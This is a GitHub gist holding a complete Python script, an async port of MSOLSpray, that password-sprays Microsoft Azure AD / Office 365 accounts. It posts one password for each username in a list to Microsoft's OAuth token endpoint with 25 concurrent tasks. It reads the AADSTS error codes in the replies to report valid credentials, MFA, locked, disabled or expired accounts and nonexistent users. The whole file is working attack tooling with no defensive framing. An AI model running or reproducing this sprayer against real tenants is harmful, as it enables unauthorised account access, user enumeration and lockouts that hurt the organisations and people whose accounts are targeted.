Last active
September 10, 2024 20:01
-
-
Save byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f to your computer and use it in GitHub Desktop.
Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
# | |
# Requires Python 3.7+ & aiohttp (speedups recommended) | |
# pip3 install aiohttp[speedups] | |
# | |
import sys | |
import asyncio | |
import aiohttp | |
import logging | |
import pathlib | |
import contextvars | |
handler = logging.StreamHandler() | |
handler.setFormatter( | |
logging.Formatter("[%(levelname)s] %(message)s") | |
) | |
log = logging.getLogger("msolspray") | |
log.setLevel(logging.DEBUG) | |
log.addHandler(handler) | |
task_username = contextvars.ContextVar('username') | |
old_factory = logging.getLogRecordFactory() | |
def new_factory(*args, **kwargs): | |
record = old_factory(*args, **kwargs) | |
username = task_username.get(None) | |
if username: | |
record.msg = f"{username:<30} - {record.msg}" | |
return record | |
logging.setLogRecordFactory(new_factory) | |
async def spray(session: aiohttp.ClientSession, sem: asyncio.BoundedSemaphore, username: str, password: str) -> None: | |
async with sem: | |
task_username.set(username) | |
data = { | |
'resource': 'https://graph.windows.net', | |
'client_id': '1b730954-1685-4b74-9bfd-dac224a7b894', | |
'client_info': '1', | |
'grant_type': 'password', | |
'username': username, | |
'password': password, | |
'scope': 'openid' | |
} | |
headers = { | |
'Accept': 'application/json', | |
'Content-Type': 'application/x-www-form-urlencoded' | |
} | |
async with session.post("https://login.microsoft.com/common/oauth2/token", headers=headers, data=data) as r: | |
if r.status == 200: | |
log.debug(f"Found valid account {username} / {password}.") | |
return | |
else: | |
msg = await r.json() | |
#log.debug(beutify_json(msg)) | |
#log.debug(f"Error: {error}") | |
error = msg['error_description'].split('\r\n')[0] | |
if "AADSTS50126" in error: | |
log.debug("Invalid password.") | |
elif "AADSTS50128" in error or "AADSTS50059" in error: | |
log.debug("Tenant for account doesn't exist. Check the domain to make sure they are using Azure/O365 services.") | |
elif "AADSTS50034" in error: | |
log.debug("The user doesn't exist.") | |
elif "AADSTS50079" in error or "AADSTS50076" in error: | |
log.debug("Credential valid however the response indicates MFA (Microsoft) is in use.") | |
elif "AADSTS50158" in error: | |
log.debug("Credential valid however the response indicates conditional access (MFA: DUO or other) is in use.") | |
elif "AADSTS50053" in error: | |
log.debug("The account appears to be locked.") | |
elif "AADSTS50057" in error: | |
log.debug("The account appears to be disabled.") | |
elif "AADSTS50055" in error: | |
log.debug("Credential valid however the user's password is expired.") | |
else: | |
log.debug(f"Got unknown error: {error}") | |
async def username_generator(usernames: str): | |
path = pathlib.Path(usernames) | |
if path.exists(): | |
usernames = open(path.expanduser()) | |
else: | |
usernames = sys.argv[1].split(',') | |
try: | |
for user in usernames: | |
yield user.rstrip('\n') | |
finally: | |
if path.exists(): | |
usernames.close() | |
async def main(usernames: str, password: str, threads: int = 25) -> None: | |
connector = aiohttp.TCPConnector(ssl=False) | |
async with aiohttp.ClientSession( | |
connector=connector, | |
cookie_jar=aiohttp.DummyCookieJar(), | |
trust_env=True | |
) as session: | |
sem = asyncio.BoundedSemaphore(value=threads) | |
tasks = [asyncio.create_task(spray(session, sem, user, password)) async for user in username_generator(usernames)] | |
await asyncio.gather(*tasks) | |
if __name__ == '__main__': | |
threads = 25 | |
if len(sys.argv) < 3: | |
print(f"Usage: {__file__} <usernames> <password> [<threads>]") | |
else: | |
asyncio.run( | |
main( | |
sys.argv[1], | |
sys.argv[2], | |
threads | |
) | |
) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment